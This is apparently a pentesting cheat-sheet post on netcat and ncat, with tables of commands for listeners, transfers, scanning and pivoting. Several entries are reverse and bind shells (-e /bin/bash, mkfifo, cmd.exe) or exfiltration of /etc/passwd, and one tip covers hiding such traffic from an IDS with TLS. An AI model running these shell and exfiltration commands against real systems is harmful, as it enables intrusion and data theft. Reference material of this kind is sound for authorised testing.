root@sparrow:~/writeups$ cat netcat.md
// Shells & Pivoting
Netcat
21 Jul 2026
· 3 min read
Netcat (nc) is a utility for reading and writing data across TCP and UDP network connections. It works interchangeably as a client or a server and imposes no protocol on top of the socket, which makes it the go-to tool for setting up listeners, transferring files and getting shells during a pentest.The nuance that causes the most confusion is -e: it only exists in netcat-traditional, not in the netcat-openbsd build that Kali and Debian ship by default. That is why reliable shells are built with the mkfifo trick or directly with ncat. On top of that, all nc traffic travels in cleartext unless you use ncat --ssl to encrypt the channel with TLS.
1. Beginner level — connections, transfers and shells

| Command | What it does |
|---|---|
nc <ip> 80 | Connect to a port |
nc -lvnp 4444 | Open a listener (verbose, no DNS) |
nc -zv <ip> 20-25 | Port scan (zero-I/O) |
nc -lvnp 4444 > file | Receive a file |
nc <ip> 4444 < file | Send a file |
nc <ip> 4444 -e /bin/bash | Reverse/bind shell with -e |
echo -e 'GET / HTTP/1.0\\n\\n' | nc <ip> 80 | Manual HTTP request |
nc -u <ip> 53 | UDP connection |
nc -lvnp 4444 -w 5 | Idle timeout (seconds) |
nc -lvkp 4444 | Persistent listener (-k, stays open) |
nc <ip> 22 | Grab a service banner |
nc -nv <ip> 4444 | Connection without DNS resolution |
nc <ip> 4444 < /etc/passwd | Exfiltrate a file |
nc -h | Show the help |
2. Advanced level — transfers, pivoting and Ncat/TLS

| Command | What it does |
|---|---|
nc -lvnp 4444 | tee log | Listener saving what it receives |
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvnp 4444 >/tmp/f | Bind shell without -e |
tar czf - /data | nc <ip> 4444 | Send a compressed directory |
nc -lvnp 4444 | tar xzf - | Receive and decompress on the fly |
nc -lvnp 4444 -e /bin/bash | Bind shell (listen with a shell) |
while true; do nc -lvnp 4444 -e /bin/bash; done | Listener that relaunches itself |
nc <ip> 4444 -e cmd.exe | Bind shell on Windows (nc.exe) |
dd if=disk.img | nc <ip> 4444 | Clone a disk over the network |
nc -lvnp 4444 > dump.raw | Receive a dump to a file |
ncat --ssl <ip> 4444 | Encrypted connection with Ncat |
ncat --ssl -lvnp 4444 | TLS listener with Ncat |
ncat -lvnp 4444 --exec '/bin/bash' | Shell with Ncat (--exec) |
ncat -lvnp 4444 --allow <ip> | Restrict who can connect |
ncat -lvnp 4444 --sh-exec 'nc 10.10.10.5 80' | Port relay with Ncat |
3. Details people miss
- Most modern distros ship
netcat-openbsd, which does NOT include-e: for a shell use themkfifotrick orncat --exec. The-eflag is only compiled intonetcat-traditional. - Netcat transmits in cleartext. To exfiltrate data or keep a shell without an IDS reading it all, use
ncat --ssl, which encrypts the channel with TLS. - A normal listener closes after the first connection; add
-kto keep it listening. Keep in mind that-konly makes sense alongside-l. - For file transfers, close the sender when it finishes or use
-wto force a timeout: the receiver has no way to know when the stream ends and may hang waiting for more data. - UDP (
-u) is connectionless:ncdoes not confirm that the other end exists, so a successful "connection" does not guarantee that a service is listening on the other side.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.